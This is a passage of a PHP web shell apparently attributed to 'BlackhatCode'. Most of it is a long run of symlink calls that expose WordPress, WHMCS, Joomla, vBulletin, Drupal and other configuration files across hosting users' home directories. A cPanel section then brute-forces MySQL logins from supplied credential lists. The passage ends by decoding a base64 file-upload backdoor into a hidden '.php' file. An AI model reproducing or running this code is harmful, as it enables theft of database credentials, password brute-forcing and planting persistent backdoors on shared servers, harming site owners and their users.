@symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home2/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt'); 
@symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt'); 
@symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ; 
@symlink('/home2/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt'); 
@symlink('/home2/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home3/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home3/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home3/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home3/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home3/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home3/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home3/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home3/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home3/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home3/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home3/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home3/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home3/'.$user.'/public_html/home3/wp-config.php',$user.'-wp-home3.txt');
@symlink('/home3/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home3/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home3/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home3/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home3/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home3/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home3/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home3/'.$user.'/public_html/home3/configuration.php',$user.'-joomla-home3.txt');
@symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home3/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home3/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home3/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home3/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt'); 
@symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt'); 
@symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt'); 
@symlink('/home3/'.$user.'/public_html/Settings.php',$user.'-smf.txt'); 
@symlink('/home3/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt'); 
@symlink('/home3/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt'); 
@symlink('/home3/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt'); 
@symlink('/home3/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home3/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt'); 
@symlink('/home3/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home3/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home3/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home3/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home3/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home3/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home3/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home3/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ; 
@symlink('/home3/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home3/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home3/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home3/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home3/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt'); 
@symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt'); 
@symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ; 
@symlink('/home3/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt'); 
@symlink('/home3/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home4/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home4/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home4/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home4/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home4/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home4/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home4/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home4/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home4/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home4/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home4/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home4/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home4/'.$user.'/public_html/home4/wp-config.php',$user.'-wp-home4.txt');
@symlink('/home4/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home4/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home4/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home4/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home4/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home4/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home4/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home4/'.$user.'/public_html/home4/configuration.php',$user.'-joomla-home4.txt');
@symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home4/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home4/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home4/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home4/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt'); 
@symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt'); 
@symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt'); 
@symlink('/home4/'.$user.'/public_html/Settings.php',$user.'-smf.txt'); 
@symlink('/home4/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt'); 
@symlink('/home4/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt'); 
@symlink('/home4/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt'); 
@symlink('/home4/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home4/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt'); 
@symlink('/home4/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home4/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home4/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home4/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home4/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home4/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home4/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home4/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ; 
@symlink('/home4/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home4/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home4/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home4/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home4/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt'); 
@symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt'); 
@symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ; 
@symlink('/home4/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt'); 
@symlink('/home4/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
}
echo "<center>Done With Success --> <a href='cahyo_configs'>Click Here</a><br><br><br>";
}
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')) {
?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=cpanel" method="post">
<?php

@set_time_limit(0);
@error_reporting(0);

echo '<head>

<style type="text/css">
<!--
body {
	background-color: #000000;
    font-size: 13px;
	color: #c0c0c0;
}

.style1 {
	text-align: center;
}
.style2 {
	color: #FFFFFF;
	font-weight: bold;
}
.style3 {
	color: #FFFFFF;
}
-->
</style>
';
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
    if($_POST['type'] == 'passwd'){
        $e = explode("
",$_POST['usernames']);
        foreach($e as $value){
        $k = explode(":",$value);
        $username .= $k['0']." ";
        }
    }elseif($_POST['type'] == 'simple'){
        $username = str_replace("
",' ',$_POST['usernames']);
    }
    $a1 = explode(" ",$username);
    $a2 = explode("
",$_POST['passwords']);
    $id2 = count($a2);
    $ok = 0;
    foreach($a1 as $user )
    {
        if($user !== '')
        {
        $user=trim($user);
         for($i=0;$i<=$id2;$i++)
         {
            $pass = trim($a2[$i]);
            if(@mysql_connect('localhost',$user,$pass))
            {
                echo "Finding cPanel~ user is (<b><font color=silver>$user</font></b>) Password is (<b><font color=silver>$pass</font></b>)<br />";
                $ok++;
            }
         }
        }
    }
    echo "<BR><hr><b>You Found <font color=silver>$ok</font> Cpanel by BlackhatCode</b>";
    echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
    exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];

$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
Chmod(".php",0755);
